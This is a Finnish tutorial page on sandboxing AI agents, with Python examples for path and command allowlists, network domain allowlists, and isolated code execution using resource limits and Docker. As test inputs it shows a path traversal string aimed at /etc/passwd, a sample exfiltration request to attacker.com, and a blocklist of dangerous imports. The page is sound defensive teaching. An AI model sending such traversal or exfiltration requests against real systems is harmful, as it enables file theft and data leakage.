Sandboxaus ja eristäminen
Tällä sivulla
Miksi tekoälyagentit pitää eristää?
Tekoälyagentti, joka suorittaa koodia tai kutsuu työkaluja, on pohjimmiltaan erilainen kuin yksinkertainen keskustelubotti. Kompromissoitunut botti tuottaa pahimmillaan vain kiusallisen vastauksen; kompromissoitunut agentti toimii – se voi ajaa järjestelmäkomentoja, lukea arkaluonteisia tiedostoja tai kommunikoida ulkoisten palveluiden kanssa. Kaikki tähän asti käsitellyt puolustuskeinot pyrkivät estämään kompromissoitumisen. Sandboxaus muuttaa asetelmaa: se olettaa, että murto tapahtuu ennemmin tai myöhemmin, ja keskittyy rajoittamaan hyökkääjän toimintamahdollisuuksia järjestelmän sisällä. Tämä on perustavanlaatuinen muutos, minkä vuoksi sandboxaus ei korvaa aiempia suojakerroksia.
Taso 1: Resurssikäytön rajoittaminen
Ensimmäinen taso soveltaa vähimmäisoikeuksien periaatetta tiedostoihin ja komentoihin. Keskeinen tekninen kohta on funktion resolve() käyttäminen ennen vertailua: ilman sitä polku kuten /data/app/uploads/../../etc/passwd alkaisi sallitusta hakemistosta ja läpäisisi naiivin etuliitetarkistuksen. Todellisen polun ratkaiseminen estää tämän hakemistohyppelyn, joka on edelleen yksi yleisimmistä hyökkäyksistä tiedostoja käsitteleviä agentteja vastaan.
import os
from pathlib import Path
class SandboxPermissions:
"""Controls access permissions to resources."""
def __init__(self, allowed_folder: str, allowed_commands: list[str]):
self.allowed_folder = Path(allowed_folder).resolve()
self.allowed_commands = set(allowed_commands)
def verify_path(self, path: str) -> bool:
"""Verifies that a path is within the allowed folder."""
resolved_path = Path(path).resolve()
try:
resolved_path.relative_to(self.allowed_folder)
return True
except ValueError:
return False
def verify_command(self, command: str) -> bool:
"""Verifies that a command is in the allowlist."""
cmd_base = command.split()[0] if command else ""
return cmd_base in self.allowed_commands
def read_file(self, path: str) -> str:
"""Secure reading with path verification."""
if not self.verify_path(path):
raise PermissionError(
f"Access denied: {path} is outside the allowed folder"
)
return Path(path).read_text()
# Usage
sandbox = SandboxPermissions(
allowed_folder="/data/app/uploads",
allowed_commands=["ls", "cat", "wc"],
)
# OK: file in allowed folder
try:
content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
print(f"Blocked: {e}")
# Blocked: path traversal attempt
try:
content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
print(f"Blocked: {e}")
Komennot noudattavat samaa logiikkaa käyttämällä sallittujen listaa (allowlist) kielletyn listan (blocklist) sijaan. Epäsymmetria on ratkaiseva: kielletty lista pakottaa sinut kuvittelemaan jokaisen vaarallisen komennon – harjoituksen, jonka häviät – kun taas sallittu lista vaatii vain luettelemaan ne komennot, joita agentti todella tarvitsee, usein vain kolme tai neljä.
Taso 2: Lähtevän liikenteen hallinta
Verkkoeistäminen käsittelee aiemmin käsiteltyä tietojen ulossiirtoskenaariota. Niin kauan kuin agentti voi lähettää HTTP-pyyntöjä mihin tahansa verkkotunnukseen, kaikki sen käsittelemä data voi poistua suojauspiiristäsi, ja lähtevä liikenne näyttää tavalliselta sovellusliikenteeltä. Kohteiden rajoittaminen eksplisiittiseen listaan muuttaa tietovuotoyrityksen lokitettavaksi poikkeukseksi.
import subprocess
class NetworkSandbox:
"""Controls the agent's network communications."""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
def is_allowed_request(self, url: str) -> bool:
"""Verifies that a URL is in the allowlist."""
from urllib.parse import urlparse
domain = urlparse(url).hostname
return domain in self.allowed_domains
def secure_fetch(self, url: str) -> str:
"""HTTP request with domain verification."""
if not self.is_allowed_request(url):
raise PermissionError(f"Domain not allowed: {url}")
import urllib.request
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
sandbox_net = NetworkSandbox(
allowed_domains=["api.openai.com", "api.anthropic.com"]
)
# OK
try:
sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
print(e)
# Blocked: exfiltration to an external domain
try:
sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
print(f"Blocked: {e}")
Taso 3: Koodin suorittaminen luottamatta siihen koneella
Mallin kirjoittaman koodin suorittaminen on herkkin tapaus. Alla oleva toteutus yhdistää kolme suojakeinoa: tuontien (import) tarkistuksen ennen suorittamista, muisti- ja CPU-aikarajoitukset, jotka asetetaan skriptin sisällä, sekä ympäristön pelkistämisen minimiin aliprosessia käynnistettäessä.
Varoitus tuontien tarkistuksesta on tarpeen. Se perustuu tekstihakuun, ja huolellinen hyökkääjä ohittaa sen – __import__("os") ei sisällä haettavaa merkkijonoa. Pidä tätä tarkistusta suojakaiteena virheitä ja naiiveja yrityksiä vastaan, älä koskaan turvallisuusrajana. Todellinen raja on eristetty prosessi resurssirajoituksineen.
import subprocess
import tempfile
import os
class ExecutionSandbox:
"""Executes model-generated code in an isolated environment."""
def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
self.timeout = timeout
self.max_memory = max_memory_mb
def execute_python(self, code: str) -> dict:
"""Executes Python code in an isolated process."""
# Security checks before execution
dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
for imp in dangerous_imports:
if f"import {imp}" in code or f"from {imp}" in code:
return {
"success": False,
"error": f"Forbidden import: {imp}",
"output": "",
}
# Create a temporary file
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as f:
# Add restrictions at the start of the script
wrapper = f"""
import resource
import sys
# Limit memory
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))
# Limit CPU time
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))
# User code
{code}
"""
f.write(wrapper)
temp_file = f.name
try:
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=self.timeout,
env={"PATH": "/usr/bin", "HOME": "/tmp"},
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000] if result.returncode != 0 else "",
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout exceeded", "output": ""}
finally:
os.unlink(temp_file)
# Usage
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)
# OK: simple calculation
result = sandbox.execute_python("print(sum(range(100)))")
print(result) # {"success": True, "output": "4950\n", "error": ""}
# Blocked: system access attempt
result = sandbox.execute_python("import os; os.listdir('/')")
print(result) # {"success": False, "error": "Forbidden import: os"}
Tuotantokäytössä Docker tarjoaa vankemman eristyksen, koska se ei enää luota suoritettavan koodin yhteistyöhön. Jokainen komentovalitsin sulkee tietyn oven: --network=none poistaa kaikki mahdollisuudet verkkovuotoon, --read-only estää pysyvyyden, --memory ja --cpus rajoittavat kulutusta, --tmpfs myöntää haihtuvan ja rajoitetun työtilan, ja --security-opt=no-new-privileges kieltää oikeuksien eskaloitumisen suorituksen aikana. --rm-lippu tuhoaa kontin lopussa, mikä takaa, että mikään tila ei säily yhdestä suorituksesta seuraavaan.
class DockerSandbox:
"""Executes code in an ephemeral Docker container."""
def __init__(self, image: str = "python:3.12-slim"):
self.image = image
def execute(self, code: str, timeout: int = 10) -> dict:
"""Executes code in an isolated container."""
cmd = [
"docker", "run", "--rm",
"--network=none", # No network
"--memory=256m", # Memory limit
"--cpus=0.5", # CPU limit
"--read-only", # Read-only filesystem
"--tmpfs=/tmp:size=50m", # Limited temporary space
"--security-opt=no-new-privileges",
self.image,
"python3", "-c", code,
]
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000],
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout", "output": ""}
Oikean tason valinta
Kaikkien kolmen tason pinnoittaminen yksinkertaiseen FAQ-keskustelubottiin on kallista ja tarpeetonta, kun taas pelkkään ensimmäiseen tasoon luottaminen koodia suorittavassa agentissa tarkoittaa käytännössä suojaamattomuutta. Alla oleva taulukko tarjoaa lähtökohdan; säädä sitä saatavilla olevan datan arkaluonteisuuden perusteella, mikä on usein tärkeämpää kuin agentin monimutkaisuus.
| Scenario | Recommended level |
|---|---|
| Simple Q&A chatbot | Permissions (Level 1) |
| Agent with API access | Permissions + Network (Levels 1-2) |
| Agent executing code | Full Docker (Level 3) |
| Multi-user agent | Docker + session isolation |
Riippumatta valitsemastasi tasosta, testaa sitä kuin testaisit ominaisuutta. Sandbox, jonka asennat ja unohdat, heikkenee hiljaisesti ajan myötä – lisätty riippuvuus, väliaikaisesti liitetty volyymi tai vianetsintää varten avattu verkkotunnus. Suorita polun hakemistohyppely- ja kiellettyjen verkkotunnusten testit uudelleen jokaisen agenttipäivityksen yhteydessä: sandboxin ohittaminen ei ole pieni poikkeama, vaan kriittinen turvallisuustapahtuma.
Keskeiset asiat
- Sandboxaus on välttämätöntä heti, kun agentilla on pääsy työkaluihin tai se suorittaa koodia
- Kolme eristystasoa: oikeudet, verkko, kontti – yhdistele riskin perusteella
- Vähimmäisoikeuksien periaate koskee jokaista resurssia: tiedostot, verkko, komennot
- Docker parametreilla
--network=noneja--read-onlytarjoaa vankimman eristyksen - Eristystä on testattava säännöllisesti – sandboxin ohittaminen on kriittinen turvallisuustapahtuma